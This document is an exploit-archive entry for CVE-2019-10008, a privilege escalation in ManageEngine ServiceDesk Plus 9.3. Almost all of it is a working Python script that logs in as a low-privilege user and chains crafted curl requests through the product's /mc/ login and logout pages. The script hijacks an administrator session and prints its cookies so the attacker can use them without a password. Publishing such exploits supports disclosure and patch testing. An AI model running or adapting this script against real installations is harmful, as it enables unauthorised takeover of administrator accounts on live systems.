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Manage Engine ServiceDesk Plus 9.3 Privilege Escalation

Manage Engine ServiceDesk Plus 9.3 Privilege Escalation
Posted Apr 4, 2019
Authored by Ata Hakcil, Melih Kaan Yildiz

Manage Engine ServiceDesk Plus version 9.3 suffers from a privilege escalation vulnerability.

tags | exploit
SHA-256 | 87787f1fb2a7439a9948e5731a3c9ebc899dcd1c11621afaedcab653880b4eb7

Manage Engine ServiceDesk Plus 9.3 Privilege Escalation

Change Mirror Download
#!/usr/bin/python

# Exploit Title: Manage Engine ServiceDesk Plus Version 9.3 Privileged Account Hijacking
# Date: 30-03-2019
# Exploit Author: Ata Hakçıl, Melih Kaan Yıldız
# Vendor: ManageEngine
# Vendor Homepage: www.manageengine.com
# Product: Service Desk Plus
# Version: 9.3
# Tested On: Windows 10 64 bit
# CVE : 2019-10008


# How to use: Change the host, low_username, low_password and high_username variables depending on what you have.
# Low username and password is an account you have access to. high_username is account you want to authenticate as.

# After running the script, it will output you the cookies that you can set on your browser to login to the high_username without password.
# Run this script on a Linux OS.

#Host ip address + port
host="localhost:8080"

#set to https if needed
url = "http://" + host

#Username with credentials you have
low_username="guest"
low_password="guest"

#username you want to login as
high_username="administrator"





print("\033[1;37mUrl: \033[1;32m" + url)
print("\033[1;37mUser with low priv: \033[1;32m" + low_username + ':' + low_password)
print("\033[1;37mUser to bypass authentication to: \033[1;32m" + high_username)


print("\033[1;32mGetting a session id\033[1;37m")

# Get index page to capture a session id
curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' -H $'Referer: "+url+"/' -H $'Connection: close'\
$'"+url+"/'"

out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]

print("Sessid:")
print(sessid)


print("\033[1;31mLogging in with low privilege user\033[1;37m")


#Attempt login post request
curl="curl -i -s -k -X $'POST' -H $'Host: "+host+"'\
-H $'Referer: "+url+"/'\
-H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
-b $'JSESSIONID="+sessid+"' \
--data-binary $'j_username="+low_username+"&j_password="+low_password+"&LDAPEnable=false&\
hidden=Select+a+Domain&hidden=For+Domain&AdEnable=false&DomainCount=0&LocalAuth=No&LocalAuthWithDomain=No&\
dynamicUserAddition_status=true&localAuthEnable=true&logonDomainName=-1&loginButton=Login&checkbox=checkbox' \
$'"+url+"/j_security_check'"

out = os.popen('/bin/bash -c "' + curl+'"').read()


#Instead of following redirects with -L, following manually because we don't need all the transactions.
curl="curl -i -s -k -X $'GET' -H $'Host: "+host+"'\
-H $'Referer: "+url+"/'\
-H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
-b $'JSESSIONID="+sessid+"' \
$'"+url+"/'"

out = os.popen('/bin/bash -c "' + curl+'"').read()

print("\033[1;32mCaptured authenticated cookies.\033[1;37m")
sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
print(sessid)
sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]
print(sessidsso)
grbl = re.findall("(?<=Set-Cookie: )[^=]*=[^;]*",out)

grbl2 = []
for cookie in grbl:
cl = cookie.split('=')
if cl[0]!='JSESSIONID' and cl[0]!='JSESSIONIDSSO' and cl[0]!='_rem':

grbl2.append(cl[0])
grbl2.append(cl[1])

curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Cookie: JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/mc/'"


out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid2 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]

print("\033[1;32mCaptured secondary sessid.\033[1;37m")
print(sessid2)


print("\033[1;31mDoing the magic step 1.\033[1;37m")
curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Referer: "+url+"/mc/WOListView.do' \
-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/mc/jsp/MCLogOut.jsp'"

out = os.popen('/bin/bash -c "' + curl+'"').read()

print("\033[1;31mDoing the magic step 2.\033[1;37m")




curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/mc/jsp/MCDashboard.jsp'"


out = os.popen('/bin/bash -c "' + curl+'"').read()

sessid3 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]


curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/'"

out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid4 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]


curl = "curl -i -s -k -X $'POST' \
-H $'"+host+"' \
-H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
-H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
--data-binary $'j_username="+high_username+"&j_password=bypassingpass&DOMAIN_NAME=' \
$'"+url+"/mc/j_security_check'"


out = os.popen('/bin/bash -c "' + curl+'"').read()

curl = "curl -i -s -k -X $'GET' \
-H $'Host: "+host+"' \
-H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
-H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
-H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
$'"+url+"/mc/jsp/MCDashboard.jsp'"



out = os.popen('/bin/bash -c "' + curl+'"').read()


sessidhigh = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
sessidssohigh = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]

print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m")
print("JSESSIONID=" + sessidhigh)
print("JSESSIONIDSSO=" + sessidssohigh)
print(grbl2[0] + "=" + grbl2[1])
print(grbl2[2] + "=" + grbl2[3])
print("_rem=true")
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